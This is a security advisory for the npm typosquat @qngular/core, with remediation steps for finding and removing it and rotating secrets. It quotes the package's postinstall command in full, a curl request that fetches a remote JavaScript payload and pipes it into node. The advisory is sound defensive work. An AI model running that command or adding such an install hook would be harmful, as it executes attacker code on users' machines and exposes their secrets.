MAL-2026-17544 Malicious code in @qngular/core (npm)
Malicious package
Published
MAL-2026-17544 is a malicious package: @qngular/core (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-17544/ (Markdown: https://insights.sbomify.com/MAL-2026-17544/index.md)
- Package
- @qngular/core
- Registry
- npm
What is MAL-2026-17544?
MAL-2026-17544 is a malicious package in @qngular/core, published on 5 Oct 2026.
Official description
Package
@qngular/core is a one-character typosquat of @angular/core and copies the real package's description, author, and repository metadata. The postinstall lifecycle script in package.json runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an opaque, non-publisher-controlled JavaScript payload from a third-party host (gitflic.ru via a web.archive.org proxy) and piping it unverified into node. This executes attacker-controlled code on the installer's machine during npm install.What should I do about MAL-2026-17544?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.